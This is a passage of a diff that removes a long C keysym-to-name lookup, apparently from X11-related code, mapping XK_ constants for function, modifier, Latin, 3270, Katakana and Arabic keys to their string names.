- if (k == XK_KP_Equal) return "KP_Equal";
- if (k == XK_KP_Multiply) return "KP_Multiply";
- if (k == XK_KP_Add) return "KP_Add";
- if (k == XK_KP_Separator) return "KP_Separator";
- if (k == XK_KP_Subtract) return "KP_Subtract";
- if (k == XK_KP_Decimal) return "KP_Decimal";
- if (k == XK_KP_Divide) return "KP_Divide";
- if (k == XK_KP_0) return "KP_0";
- if (k == XK_KP_1) return "KP_1";
- if (k == XK_KP_2) return "KP_2";
- if (k == XK_KP_3) return "KP_3";
- if (k == XK_KP_4) return "KP_4";
- if (k == XK_KP_5) return "KP_5";
- if (k == XK_KP_6) return "KP_6";
- if (k == XK_KP_7) return "KP_7";
- if (k == XK_KP_8) return "KP_8";
- if (k == XK_KP_9) return "KP_9";
- if (k == XK_F1) return "F1";
- if (k == XK_F2) return "F2";
- if (k == XK_F3) return "F3";
- if (k == XK_F4) return "F4";
- if (k == XK_F5) return "F5";
- if (k == XK_F6) return "F6";
- if (k == XK_F7) return "F7";
- if (k == XK_F8) return "F8";
- if (k == XK_F9) return "F9";
- if (k == XK_F10) return "F10";
- if (k == XK_F11) return "F11";
- if (k == XK_L1) return "L1";
- if (k == XK_F12) return "F12";
- if (k == XK_L2) return "L2";
- if (k == XK_F13) return "F13";
- if (k == XK_L3) return "L3";
- if (k == XK_F14) return "F14";
- if (k == XK_L4) return "L4";
- if (k == XK_F15) return "F15";
- if (k == XK_L5) return "L5";
- if (k == XK_F16) return "F16";
- if (k == XK_L6) return "L6";
- if (k == XK_F17) return "F17";
- if (k == XK_L7) return "L7";
- if (k == XK_F18) return "F18";
- if (k == XK_L8) return "L8";
- if (k == XK_F19) return "F19";
- if (k == XK_L9) return "L9";
- if (k == XK_F20) return "F20";
- if (k == XK_L10) return "L10";
- if (k == XK_F21) return "F21";
- if (k == XK_R1) return "R1";
- if (k == XK_F22) return "F22";
- if (k == XK_R2) return "R2";
- if (k == XK_F23) return "F23";
- if (k == XK_R3) return "R3";
- if (k == XK_F24) return "F24";
- if (k == XK_R4) return "R4";
- if (k == XK_F25) return "F25";
- if (k == XK_R5) return "R5";
- if (k == XK_F26) return "F26";
- if (k == XK_R6) return "R6";
- if (k == XK_F27) return "F27";
- if (k == XK_R7) return "R7";
- if (k == XK_F28) return "F28";
- if (k == XK_R8) return "R8";
- if (k == XK_F29) return "F29";
- if (k == XK_R9) return "R9";
- if (k == XK_F30) return "F30";
- if (k == XK_R10) return "R10";
- if (k == XK_F31) return "F31";
- if (k == XK_R11) return "R11";
- if (k == XK_F32) return "F32";
- if (k == XK_R12) return "R12";
- if (k == XK_F33) return "F33";
- if (k == XK_R13) return "R13";
- if (k == XK_F34) return "F34";
- if (k == XK_R14) return "R14";
- if (k == XK_F35) return "F35";
- if (k == XK_R15) return "R15";
- if (k == XK_Shift_L) return "Shift_L";
- if (k == XK_Shift_R) return "Shift_R";
- if (k == XK_Control_L) return "Control_L";
- if (k == XK_Control_R) return "Control_R";
- if (k == XK_Caps_Lock) return "Caps_Lock";
- if (k == XK_Shift_Lock) return "Shift_Lock";
- if (k == XK_Meta_L) return "Meta_L";
- if (k == XK_Meta_R) return "Meta_R";
- if (k == XK_Alt_L) return "Alt_L";
- if (k == XK_Alt_R) return "Alt_R";
- if (k == XK_Super_L) return "Super_L";
- if (k == XK_Super_R) return "Super_R";
- if (k == XK_Hyper_L) return "Hyper_L";
- if (k == XK_Hyper_R) return "Hyper_R";
-#endif /* XK_MISCELLANY */
-#ifdef XK_XKB_KEYS
- if (k == XK_ISO_Lock) return "ISO_Lock";
- if (k == XK_ISO_Level2_Latch) return "ISO_Level2_Latch";
- if (k == XK_ISO_Level3_Shift) return "ISO_Level3_Shift";
- if (k == XK_ISO_Level3_Latch) return "ISO_Level3_Latch";
- if (k == XK_ISO_Level3_Lock) return "ISO_Level3_Lock";
- if (k == XK_ISO_Group_Shift) return "ISO_Group_Shift";
- if (k == XK_ISO_Group_Latch) return "ISO_Group_Latch";
- if (k == XK_ISO_Group_Lock) return "ISO_Group_Lock";
- if (k == XK_ISO_Next_Group) return "ISO_Next_Group";
- if (k == XK_ISO_Next_Group_Lock) return "ISO_Next_Group_Lock";
- if (k == XK_ISO_Prev_Group) return "ISO_Prev_Group";
- if (k == XK_ISO_Prev_Group_Lock) return "ISO_Prev_Group_Lock";
- if (k == XK_ISO_First_Group) return "ISO_First_Group";
- if (k == XK_ISO_First_Group_Lock) return "ISO_First_Group_Lock";
- if (k == XK_ISO_Last_Group) return "ISO_Last_Group";
- if (k == XK_ISO_Last_Group_Lock) return "ISO_Last_Group_Lock";
- if (k == XK_ISO_Left_Tab) return "ISO_Left_Tab";
- if (k == XK_ISO_Move_Line_Up) return "ISO_Move_Line_Up";
- if (k == XK_ISO_Move_Line_Down) return "ISO_Move_Line_Down";
- if (k == XK_ISO_Partial_Line_Up) return "ISO_Partial_Line_Up";
- if (k == XK_ISO_Partial_Line_Down) return "ISO_Partial_Line_Down";
- if (k == XK_ISO_Partial_Space_Left) return "ISO_Partial_Space_Left";
- if (k == XK_ISO_Partial_Space_Right) return "ISO_Partial_Space_Right";
- if (k == XK_ISO_Set_Margin_Left) return "ISO_Set_Margin_Left";
- if (k == XK_ISO_Set_Margin_Right) return "ISO_Set_Margin_Right";
- if (k == XK_ISO_Release_Margin_Left) return "ISO_Release_Margin_Left";
- if (k == XK_ISO_Release_Margin_Right) return "ISO_Release_Margin_Right";
- if (k == XK_ISO_Release_Both_Margins) return "ISO_Release_Both_Margins";
- if (k == XK_ISO_Fast_Cursor_Left) return "ISO_Fast_Cursor_Left";
- if (k == XK_ISO_Fast_Cursor_Right) return "ISO_Fast_Cursor_Right";
- if (k == XK_ISO_Fast_Cursor_Up) return "ISO_Fast_Cursor_Up";
- if (k == XK_ISO_Fast_Cursor_Down) return "ISO_Fast_Cursor_Down";
- if (k == XK_ISO_Continuous_Underline) return "ISO_Continuous_Underline";
- if (k == XK_ISO_Discontinuous_Underline) return "ISO_Discontinuous_Underline";
- if (k == XK_ISO_Emphasize) return "ISO_Emphasize";
- if (k == XK_ISO_Center_Object) return "ISO_Center_Object";
- if (k == XK_ISO_Enter) return "ISO_Enter";
- if (k == XK_dead_grave) return "dead_grave";
- if (k == XK_dead_acute) return "dead_acute";
- if (k == XK_dead_circumflex) return "dead_circumflex";
- if (k == XK_dead_tilde) return "dead_tilde";
- if (k == XK_dead_macron) return "dead_macron";
- if (k == XK_dead_breve) return "dead_breve";
- if (k == XK_dead_abovedot) return "dead_abovedot";
- if (k == XK_dead_diaeresis) return "dead_diaeresis";
- if (k == XK_dead_abovering) return "dead_abovering";
- if (k == XK_dead_doubleacute) return "dead_doubleacute";
- if (k == XK_dead_caron) return "dead_caron";
- if (k == XK_dead_cedilla) return "dead_cedilla";
- if (k == XK_dead_ogonek) return "dead_ogonek";
- if (k == XK_dead_iota) return "dead_iota";
- if (k == XK_dead_voiced_sound) return "dead_voiced_sound";
- if (k == XK_dead_semivoiced_sound) return "dead_semivoiced_sound";
- if (k == XK_dead_belowdot) return "dead_belowdot";
- if (k == XK_First_Virtual_Screen) return "First_Virtual_Screen";
- if (k == XK_Prev_Virtual_Screen) return "Prev_Virtual_Screen";
- if (k == XK_Next_Virtual_Screen) return "Next_Virtual_Screen";
- if (k == XK_Last_Virtual_Screen) return "Last_Virtual_Screen";
- if (k == XK_Terminate_Server) return "Terminate_Server";
- if (k == XK_AccessX_Enable) return "AccessX_Enable";
- if (k == XK_AccessX_Feedback_Enable) return "AccessX_Feedback_Enable";
- if (k == XK_RepeatKeys_Enable) return "RepeatKeys_Enable";
- if (k == XK_SlowKeys_Enable) return "SlowKeys_Enable";
- if (k == XK_BounceKeys_Enable) return "BounceKeys_Enable";
- if (k == XK_StickyKeys_Enable) return "StickyKeys_Enable";
- if (k == XK_MouseKeys_Enable) return "MouseKeys_Enable";
- if (k == XK_MouseKeys_Accel_Enable) return "MouseKeys_Accel_Enable";
- if (k == XK_Overlay1_Enable) return "Overlay1_Enable";
- if (k == XK_Overlay2_Enable) return "Overlay2_Enable";
- if (k == XK_AudibleBell_Enable) return "AudibleBell_Enable";
- if (k == XK_Pointer_Left) return "Pointer_Left";
- if (k == XK_Pointer_Right) return "Pointer_Right";
- if (k == XK_Pointer_Up) return "Pointer_Up";
- if (k == XK_Pointer_Down) return "Pointer_Down";
- if (k == XK_Pointer_UpLeft) return "Pointer_UpLeft";
- if (k == XK_Pointer_UpRight) return "Pointer_UpRight";
- if (k == XK_Pointer_DownLeft) return "Pointer_DownLeft";
- if (k == XK_Pointer_DownRight) return "Pointer_DownRight";
- if (k == XK_Pointer_Button_Dflt) return "Pointer_Button_Dflt";
- if (k == XK_Pointer_Button1) return "Pointer_Button1";
- if (k == XK_Pointer_Button2) return "Pointer_Button2";
- if (k == XK_Pointer_Button3) return "Pointer_Button3";
- if (k == XK_Pointer_Button4) return "Pointer_Button4";
- if (k == XK_Pointer_Button5) return "Pointer_Button5";
- if (k == XK_Pointer_DblClick_Dflt) return "Pointer_DblClick_Dflt";
- if (k == XK_Pointer_DblClick1) return "Pointer_DblClick1";
- if (k == XK_Pointer_DblClick2) return "Pointer_DblClick2";
- if (k == XK_Pointer_DblClick3) return "Pointer_DblClick3";
- if (k == XK_Pointer_DblClick4) return "Pointer_DblClick4";
- if (k == XK_Pointer_DblClick5) return "Pointer_DblClick5";
- if (k == XK_Pointer_Drag_Dflt) return "Pointer_Drag_Dflt";
- if (k == XK_Pointer_Drag1) return "Pointer_Drag1";
- if (k == XK_Pointer_Drag2) return "Pointer_Drag2";
- if (k == XK_Pointer_Drag3) return "Pointer_Drag3";
- if (k == XK_Pointer_Drag4) return "Pointer_Drag4";
- if (k == XK_Pointer_Drag5) return "Pointer_Drag5";
- if (k == XK_Pointer_EnableKeys) return "Pointer_EnableKeys";
- if (k == XK_Pointer_Accelerate) return "Pointer_Accelerate";
- if (k == XK_Pointer_DfltBtnNext) return "Pointer_DfltBtnNext";
- if (k == XK_Pointer_DfltBtnPrev) return "Pointer_DfltBtnPrev";
-#endif
-#ifdef XK_3270
- if (k == XK_3270_Duplicate) return "3270_Duplicate";
- if (k == XK_3270_FieldMark) return "3270_FieldMark";
- if (k == XK_3270_Right2) return "3270_Right2";
- if (k == XK_3270_Left2) return "3270_Left2";
- if (k == XK_3270_BackTab) return "3270_BackTab";
- if (k == XK_3270_EraseEOF) return "3270_EraseEOF";
- if (k == XK_3270_EraseInput) return "3270_EraseInput";
- if (k == XK_3270_Reset) return "3270_Reset";
- if (k == XK_3270_Quit) return "3270_Quit";
- if (k == XK_3270_PA1) return "3270_PA1";
- if (k == XK_3270_PA2) return "3270_PA2";
- if (k == XK_3270_PA3) return "3270_PA3";
- if (k == XK_3270_Test) return "3270_Test";
- if (k == XK_3270_Attn) return "3270_Attn";
- if (k == XK_3270_CursorBlink) return "3270_CursorBlink";
- if (k == XK_3270_AltCursor) return "3270_AltCursor";
- if (k == XK_3270_KeyClick) return "3270_KeyClick";
- if (k == XK_3270_Jump) return "3270_Jump";
- if (k == XK_3270_Ident) return "3270_Ident";
- if (k == XK_3270_Rule) return "3270_Rule";
- if (k == XK_3270_Copy) return "3270_Copy";
- if (k == XK_3270_Play) return "3270_Play";
- if (k == XK_3270_Setup) return "3270_Setup";
- if (k == XK_3270_Record) return "3270_Record";
- if (k == XK_3270_ChangeScreen) return "3270_ChangeScreen";
- if (k == XK_3270_DeleteWord) return "3270_DeleteWord";
- if (k == XK_3270_ExSelect) return "3270_ExSelect";
- if (k == XK_3270_CursorSelect) return "3270_CursorSelect";
- if (k == XK_3270_PrintScreen) return "3270_PrintScreen";
- if (k == XK_3270_Enter) return "3270_Enter";
-#endif
-#ifdef XK_LATIN1
- if (k == XK_space) return "space";
- if (k == XK_exclam) return "exclam";
- if (k == XK_quotedbl) return "quotedbl";
- if (k == XK_numbersign) return "numbersign";
- if (k == XK_dollar) return "dollar";
- if (k == XK_percent) return "percent";
- if (k == XK_ampersand) return "ampersand";
- if (k == XK_apostrophe) return "apostrophe";
- if (k == XK_quoteright) return "quoteright";
- if (k == XK_parenleft) return "parenleft";
- if (k == XK_parenright) return "parenright";
- if (k == XK_asterisk) return "asterisk";
- if (k == XK_plus) return "plus";
- if (k == XK_comma) return "comma";
- if (k == XK_minus) return "minus";
- if (k == XK_period) return "period";
- if (k == XK_slash) return "slash";
- if (k == XK_0) return "0";
- if (k == XK_1) return "1";
- if (k == XK_2) return "2";
- if (k == XK_3) return "3";
- if (k == XK_4) return "4";
- if (k == XK_5) return "5";
- if (k == XK_6) return "6";
- if (k == XK_7) return "7";
- if (k == XK_8) return "8";
- if (k == XK_9) return "9";
- if (k == XK_colon) return "colon";
- if (k == XK_semicolon) return "semicolon";
- if (k == XK_less) return "less";
- if (k == XK_equal) return "equal";
- if (k == XK_greater) return "greater";
- if (k == XK_question) return "question";
- if (k == XK_at) return "at";
- if (k == XK_A) return "A";
- if (k == XK_B) return "B";
- if (k == XK_C) return "C";
- if (k == XK_D) return "D";
- if (k == XK_E) return "E";
- if (k == XK_F) return "F";
- if (k == XK_G) return "G";
- if (k == XK_H) return "H";
- if (k == XK_I) return "I";
- if (k == XK_J) return "J";
- if (k == XK_K) return "K";
- if (k == XK_L) return "L";
- if (k == XK_M) return "M";
- if (k == XK_N) return "N";
- if (k == XK_O) return "O";
- if (k == XK_P) return "P";
- if (k == XK_Q) return "Q";
- if (k == XK_R) return "R";
- if (k == XK_S) return "S";
- if (k == XK_T) return "T";
- if (k == XK_U) return "U";
- if (k == XK_V) return "V";
- if (k == XK_W) return "W";
- if (k == XK_X) return "X";
- if (k == XK_Y) return "Y";
- if (k == XK_Z) return "Z";
- if (k == XK_bracketleft) return "bracketleft";
- if (k == XK_backslash) return "backslash";
- if (k == XK_bracketright) return "bracketright";
- if (k == XK_asciicircum) return "asciicircum";
- if (k == XK_underscore) return "underscore";
- if (k == XK_grave) return "grave";
- if (k == XK_quoteleft) return "quoteleft";
- if (k == XK_a) return "a";
- if (k == XK_b) return "b";
- if (k == XK_c) return "c";
- if (k == XK_d) return "d";
- if (k == XK_e) return "e";
- if (k == XK_f) return "f";
- if (k == XK_g) return "g";
- if (k == XK_h) return "h";
- if (k == XK_i) return "i";
- if (k == XK_j) return "j";
- if (k == XK_k) return "k";
- if (k == XK_l) return "l";
- if (k == XK_m) return "m";
- if (k == XK_n) return "n";
- if (k == XK_o) return "o";
- if (k == XK_p) return "p";
- if (k == XK_q) return "q";
- if (k == XK_r) return "r";
- if (k == XK_s) return "s";
- if (k == XK_t) return "t";
- if (k == XK_u) return "u";
- if (k == XK_v) return "v";
- if (k == XK_w) return "w";
- if (k == XK_x) return "x";
- if (k == XK_y) return "y";
- if (k == XK_z) return "z";
- if (k == XK_braceleft) return "braceleft";
- if (k == XK_bar) return "bar";
- if (k == XK_braceright) return "braceright";
- if (k == XK_asciitilde) return "asciitilde";
- if (k == XK_nobreakspace) return "nobreakspace";
- if (k == XK_exclamdown) return "exclamdown";
- if (k == XK_cent) return "cent";
- if (k == XK_sterling) return "sterling";
- if (k == XK_currency) return "currency";
- if (k == XK_yen) return "yen";
- if (k == XK_brokenbar) return "brokenbar";
- if (k == XK_section) return "section";
- if (k == XK_diaeresis) return "diaeresis";
- if (k == XK_copyright) return "copyright";
- if (k == XK_ordfeminine) return "ordfeminine";
- if (k == XK_guillemotleft) return "guillemotleft";
- if (k == XK_notsign) return "notsign";
- if (k == XK_hyphen) return "hyphen";
- if (k == XK_registered) return "registered";
- if (k == XK_macron) return "macron";
- if (k == XK_degree) return "degree";
- if (k == XK_plusminus) return "plusminus";
- if (k == XK_twosuperior) return "twosuperior";
- if (k == XK_threesuperior) return "threesuperior";
- if (k == XK_acute) return "acute";
- if (k == XK_mu) return "mu";
- if (k == XK_paragraph) return "paragraph";
- if (k == XK_periodcentered) return "periodcentered";
- if (k == XK_cedilla) return "cedilla";
- if (k == XK_onesuperior) return "onesuperior";
- if (k == XK_masculine) return "masculine";
- if (k == XK_guillemotright) return "guillemotright";
- if (k == XK_onequarter) return "onequarter";
- if (k == XK_onehalf) return "onehalf";
- if (k == XK_threequarters) return "threequarters";
- if (k == XK_questiondown) return "questiondown";
- if (k == XK_Agrave) return "Agrave";
- if (k == XK_Aacute) return "Aacute";
- if (k == XK_Acircumflex) return "Acircumflex";
- if (k == XK_Atilde) return "Atilde";
- if (k == XK_Adiaeresis) return "Adiaeresis";
- if (k == XK_Aring) return "Aring";
- if (k == XK_AE) return "AE";
- if (k == XK_Ccedilla) return "Ccedilla";
- if (k == XK_Egrave) return "Egrave";
- if (k == XK_Eacute) return "Eacute";
- if (k == XK_Ecircumflex) return "Ecircumflex";
- if (k == XK_Ediaeresis) return "Ediaeresis";
- if (k == XK_Igrave) return "Igrave";
- if (k == XK_Iacute) return "Iacute";
- if (k == XK_Icircumflex) return "Icircumflex";
- if (k == XK_Idiaeresis) return "Idiaeresis";
- if (k == XK_ETH) return "ETH";
- if (k == XK_Eth) return "Eth";
- if (k == XK_Ntilde) return "Ntilde";
- if (k == XK_Ograve) return "Ograve";
- if (k == XK_Oacute) return "Oacute";
- if (k == XK_Ocircumflex) return "Ocircumflex";
- if (k == XK_Otilde) return "Otilde";
- if (k == XK_Odiaeresis) return "Odiaeresis";
- if (k == XK_multiply) return "multiply";
- if (k == XK_Ooblique) return "Ooblique";
- if (k == XK_Ugrave) return "Ugrave";
- if (k == XK_Uacute) return "Uacute";
- if (k == XK_Ucircumflex) return "Ucircumflex";
- if (k == XK_Udiaeresis) return "Udiaeresis";
- if (k == XK_Yacute) return "Yacute";
- if (k == XK_THORN) return "THORN";
- if (k == XK_Thorn) return "Thorn";
- if (k == XK_ssharp) return "ssharp";
- if (k == XK_agrave) return "agrave";
- if (k == XK_aacute) return "aacute";
- if (k == XK_acircumflex) return "acircumflex";
- if (k == XK_atilde) return "atilde";
- if (k == XK_adiaeresis) return "adiaeresis";
- if (k == XK_aring) return "aring";
- if (k == XK_ae) return "ae";
- if (k == XK_ccedilla) return "ccedilla";
- if (k == XK_egrave) return "egrave";
- if (k == XK_eacute) return "eacute";
- if (k == XK_ecircumflex) return "ecircumflex";
- if (k == XK_ediaeresis) return "ediaeresis";
- if (k == XK_igrave) return "igrave";
- if (k == XK_iacute) return "iacute";
- if (k == XK_icircumflex) return "icircumflex";
- if (k == XK_idiaeresis) return "idiaeresis";
- if (k == XK_eth) return "eth";
- if (k == XK_ntilde) return "ntilde";
- if (k == XK_ograve) return "ograve";
- if (k == XK_oacute) return "oacute";
- if (k == XK_ocircumflex) return "ocircumflex";
- if (k == XK_otilde) return "otilde";
- if (k == XK_odiaeresis) return "odiaeresis";
- if (k == XK_division) return "division";
- if (k == XK_oslash) return "oslash";
- if (k == XK_ugrave) return "ugrave";
- if (k == XK_uacute) return "uacute";
- if (k == XK_ucircumflex) return "ucircumflex";
- if (k == XK_udiaeresis) return "udiaeresis";
- if (k == XK_yacute) return "yacute";
- if (k == XK_thorn) return "thorn";
- if (k == XK_ydiaeresis) return "ydiaeresis";
-#endif /* XK_LATIN1 */
-#ifdef XK_LATIN2
- if (k == XK_Aogonek) return "Aogonek";
- if (k == XK_breve) return "breve";
- if (k == XK_Lstroke) return "Lstroke";
- if (k == XK_Lcaron) return "Lcaron";
- if (k == XK_Sacute) return "Sacute";
- if (k == XK_Scaron) return "Scaron";
- if (k == XK_Scedilla) return "Scedilla";
- if (k == XK_Tcaron) return "Tcaron";
- if (k == XK_Zacute) return "Zacute";
- if (k == XK_Zcaron) return "Zcaron";
- if (k == XK_Zabovedot) return "Zabovedot";
- if (k == XK_aogonek) return "aogonek";
- if (k == XK_ogonek) return "ogonek";
- if (k == XK_lstroke) return "lstroke";
- if (k == XK_lcaron) return "lcaron";
- if (k == XK_sacute) return "sacute";
- if (k == XK_caron) return "caron";
- if (k == XK_scaron) return "scaron";
- if (k == XK_scedilla) return "scedilla";
- if (k == XK_tcaron) return "tcaron";
- if (k == XK_zacute) return "zacute";
- if (k == XK_doubleacute) return "doubleacute";
- if (k == XK_zcaron) return "zcaron";
- if (k == XK_zabovedot) return "zabovedot";
- if (k == XK_Racute) return "Racute";
- if (k == XK_Abreve) return "Abreve";
- if (k == XK_Lacute) return "Lacute";
- if (k == XK_Cacute) return "Cacute";
- if (k == XK_Ccaron) return "Ccaron";
- if (k == XK_Eogonek) return "Eogonek";
- if (k == XK_Ecaron) return "Ecaron";
- if (k == XK_Dcaron) return "Dcaron";
- if (k == XK_Dstroke) return "Dstroke";
- if (k == XK_Nacute) return "Nacute";
- if (k == XK_Ncaron) return "Ncaron";
- if (k == XK_Odoubleacute) return "Odoubleacute";
- if (k == XK_Rcaron) return "Rcaron";
- if (k == XK_Uring) return "Uring";
- if (k == XK_Udoubleacute) return "Udoubleacute";
- if (k == XK_Tcedilla) return "Tcedilla";
- if (k == XK_racute) return "racute";
- if (k == XK_abreve) return "abreve";
- if (k == XK_lacute) return "lacute";
- if (k == XK_cacute) return "cacute";
- if (k == XK_ccaron) return "ccaron";
- if (k == XK_eogonek) return "eogonek";
- if (k == XK_ecaron) return "ecaron";
- if (k == XK_dcaron) return "dcaron";
- if (k == XK_dstroke) return "dstroke";
- if (k == XK_nacute) return "nacute";
- if (k == XK_ncaron) return "ncaron";
- if (k == XK_odoubleacute) return "odoubleacute";
- if (k == XK_udoubleacute) return "udoubleacute";
- if (k == XK_rcaron) return "rcaron";
- if (k == XK_uring) return "uring";
- if (k == XK_tcedilla) return "tcedilla";
- if (k == XK_abovedot) return "abovedot";
-#endif /* XK_LATIN2 */
-#ifdef XK_LATIN3
- if (k == XK_Hstroke) return "Hstroke";
- if (k == XK_Hcircumflex) return "Hcircumflex";
- if (k == XK_Iabovedot) return "Iabovedot";
- if (k == XK_Gbreve) return "Gbreve";
- if (k == XK_Jcircumflex) return "Jcircumflex";
- if (k == XK_hstroke) return "hstroke";
- if (k == XK_hcircumflex) return "hcircumflex";
- if (k == XK_idotless) return "idotless";
- if (k == XK_gbreve) return "gbreve";
- if (k == XK_jcircumflex) return "jcircumflex";
- if (k == XK_Cabovedot) return "Cabovedot";
- if (k == XK_Ccircumflex) return "Ccircumflex";
- if (k == XK_Gabovedot) return "Gabovedot";
- if (k == XK_Gcircumflex) return "Gcircumflex";
- if (k == XK_Ubreve) return "Ubreve";
- if (k == XK_Scircumflex) return "Scircumflex";
- if (k == XK_cabovedot) return "cabovedot";
- if (k == XK_ccircumflex) return "ccircumflex";
- if (k == XK_gabovedot) return "gabovedot";
- if (k == XK_gcircumflex) return "gcircumflex";
- if (k == XK_ubreve) return "ubreve";
- if (k == XK_scircumflex) return "scircumflex";
-#endif /* XK_LATIN3 */
-#ifdef XK_LATIN4
- if (k == XK_kra) return "kra";
- if (k == XK_kappa) return "kappa";
- if (k == XK_Rcedilla) return "Rcedilla";
- if (k == XK_Itilde) return "Itilde";
- if (k == XK_Lcedilla) return "Lcedilla";
- if (k == XK_Emacron) return "Emacron";
- if (k == XK_Gcedilla) return "Gcedilla";
- if (k == XK_Tslash) return "Tslash";
- if (k == XK_rcedilla) return "rcedilla";
- if (k == XK_itilde) return "itilde";
- if (k == XK_lcedilla) return "lcedilla";
- if (k == XK_emacron) return "emacron";
- if (k == XK_gcedilla) return "gcedilla";
- if (k == XK_tslash) return "tslash";
- if (k == XK_ENG) return "ENG";
- if (k == XK_eng) return "eng";
- if (k == XK_Amacron) return "Amacron";
- if (k == XK_Iogonek) return "Iogonek";
- if (k == XK_Eabovedot) return "Eabovedot";
- if (k == XK_Imacron) return "Imacron";
- if (k == XK_Ncedilla) return "Ncedilla";
- if (k == XK_Omacron) return "Omacron";
- if (k == XK_Kcedilla) return "Kcedilla";
- if (k == XK_Uogonek) return "Uogonek";
- if (k == XK_Utilde) return "Utilde";
- if (k == XK_Umacron) return "Umacron";
- if (k == XK_amacron) return "amacron";
- if (k == XK_iogonek) return "iogonek";
- if (k == XK_eabovedot) return "eabovedot";
- if (k == XK_imacron) return "imacron";
- if (k == XK_ncedilla) return "ncedilla";
- if (k == XK_omacron) return "omacron";
- if (k == XK_kcedilla) return "kcedilla";
- if (k == XK_uogonek) return "uogonek";
- if (k == XK_utilde) return "utilde";
- if (k == XK_umacron) return "umacron";
-#endif /* XK_LATIN4 */
-#ifdef XK_KATAKANA
- if (k == XK_overline) return "overline";
- if (k == XK_kana_fullstop) return "kana_fullstop";
- if (k == XK_kana_openingbracket) return "kana_openingbracket";
- if (k == XK_kana_closingbracket) return "kana_closingbracket";
- if (k == XK_kana_comma) return "kana_comma";
- if (k == XK_kana_conjunctive) return "kana_conjunctive";
- if (k == XK_kana_middledot) return "kana_middledot";
- if (k == XK_kana_WO) return "kana_WO";
- if (k == XK_kana_a) return "kana_a";
- if (k == XK_kana_i) return "kana_i";
- if (k == XK_kana_u) return "kana_u";
- if (k == XK_kana_e) return "kana_e";
- if (k == XK_kana_o) return "kana_o";
- if (k == XK_kana_ya) return "kana_ya";
- if (k == XK_kana_yu) return "kana_yu";
- if (k == XK_kana_yo) return "kana_yo";
- if (k == XK_kana_tsu) return "kana_tsu";
- if (k == XK_kana_tu) return "kana_tu";
- if (k == XK_prolongedsound) return "prolongedsound";
- if (k == XK_kana_A) return "kana_A";
- if (k == XK_kana_I) return "kana_I";
- if (k == XK_kana_U) return "kana_U";
- if (k == XK_kana_E) return "kana_E";
- if (k == XK_kana_O) return "kana_O";
- if (k == XK_kana_KA) return "kana_KA";
- if (k == XK_kana_KI) return "kana_KI";
- if (k == XK_kana_KU) return "kana_KU";
- if (k == XK_kana_KE) return "kana_KE";
- if (k == XK_kana_KO) return "kana_KO";
- if (k == XK_kana_SA) return "kana_SA";
- if (k == XK_kana_SHI) return "kana_SHI";
- if (k == XK_kana_SU) return "kana_SU";
- if (k == XK_kana_SE) return "kana_SE";
- if (k == XK_kana_SO) return "kana_SO";
- if (k == XK_kana_TA) return "kana_TA";
- if (k == XK_kana_CHI) return "kana_CHI";
- if (k == XK_kana_TI) return "kana_TI";
- if (k == XK_kana_TSU) return "kana_TSU";
- if (k == XK_kana_TU) return "kana_TU";
- if (k == XK_kana_TE) return "kana_TE";
- if (k == XK_kana_TO) return "kana_TO";
- if (k == XK_kana_NA) return "kana_NA";
- if (k == XK_kana_NI) return "kana_NI";
- if (k == XK_kana_NU) return "kana_NU";
- if (k == XK_kana_NE) return "kana_NE";
- if (k == XK_kana_NO) return "kana_NO";
- if (k == XK_kana_HA) return "kana_HA";
- if (k == XK_kana_HI) return "kana_HI";
- if (k == XK_kana_FU) return "kana_FU";
- if (k == XK_kana_HU) return "kana_HU";
- if (k == XK_kana_HE) return "kana_HE";
- if (k == XK_kana_HO) return "kana_HO";
- if (k == XK_kana_MA) return "kana_MA";
- if (k == XK_kana_MI) return "kana_MI";
- if (k == XK_kana_MU) return "kana_MU";
- if (k == XK_kana_ME) return "kana_ME";
- if (k == XK_kana_MO) return "kana_MO";
- if (k == XK_kana_YA) return "kana_YA";
- if (k == XK_kana_YU) return "kana_YU";
- if (k == XK_kana_YO) return "kana_YO";
- if (k == XK_kana_RA) return "kana_RA";
- if (k == XK_kana_RI) return "kana_RI";
- if (k == XK_kana_RU) return "kana_RU";
- if (k == XK_kana_RE) return "kana_RE";
- if (k == XK_kana_RO) return "kana_RO";
- if (k == XK_kana_WA) return "kana_WA";
- if (k == XK_kana_N) return "kana_N";
- if (k == XK_voicedsound) return "voicedsound";
- if (k == XK_semivoicedsound) return "semivoicedsound";
- if (k == XK_kana_switch) return "kana_switch";
-#endif /* XK_KATAKANA */
-#ifdef XK_ARABIC
- if (k == XK_Arabic_comma) return "Arabic_comma";
- if (k == XK_Arabic_semicolon) return "Arabic_semicolon";
- if (k == XK_Arabic_question_mark) return "Arabic_question_mark";
- if (k == XK_Arabic_hamza) return "Arabic_hamza";
- if (k == XK_Arabic_maddaonalef) return "Arabic_maddaonalef";
- if (k == XK_Arabic_hamzaonalef) return "Arabic_hamzaonalef";
- if (k == XK_Arabic_hamzaonwaw) return "Arabic_hamzaonwaw";
- if (k == XK_Arabic_hamzaunderalef) return "Arabic_hamzaunderalef";
- if (k == XK_Arabic_hamzaonyeh) return "Arabic_hamzaonyeh";
- if (k == XK_Arabic_alef) return "Arabic_alef";
- if (k == XK_Arabic_beh) return "Arabic_beh";
- if (k == XK_Arabic_tehmarbuta) return "Arabic_tehmarbuta";
- if (k == XK_Arabic_teh) return "Arabic_teh";
- if (k == XK_Arabic_theh) return "Arabic_theh";
- if (k == XK_Arabic_jeem) return "Arabic_jeem";
- if (k == XK_Arabic_hah) return "Arabic_hah";
- if (k == XK_Arabic_khah) return "Arabic_khah";
- if (k == XK_Arabic_dal) return "Arabic_dal";
- if (k == XK_Arabic_thal) return "Arabic_thal";
- if (k == XK_Arabic_ra) return "Arabic_ra";
- if (k == XK_Arabic_zain) return "Arabic_zain";
- if (k == XK_Arabic_seen) return "Arabic_seen";
- if (k == XK_Arabic_sheen) return "Arabic_sheen";
- if (k == XK_Arabic_sad) return "Arabic_sad";
- if (k == XK_Arabic_dad) return "Arabic_dad";
- if (k == XK_Arabic_tah) return "Arabic_tah";
- if (k == XK_Arabic_zah) return "Arabic_zah";
- if (k == XK_Arabic_ain) return "Arabic_ain";
- if (k == XK_Arabic_ghain) return "Arabic_ghain";
- if (k == XK_Arabic_tatweel) return "Arabic_tatweel";
- if (k == XK_Arabic_feh) return "Arabic_feh";
- if (k == XK_Arabic_qaf) return "Arabic_qaf";
- if (k == XK_Arabic_kaf) return "Arabic_kaf";
- if (k == XK_Arabic_lam) return "Arabic_lam";
- if (k == XK_Arabic_meem) return "Arabic_meem";
- if (k == XK_Arabic_noon) return "Arabic_noon";
- if (k == XK_Arabic_ha) return "Arabic_ha";
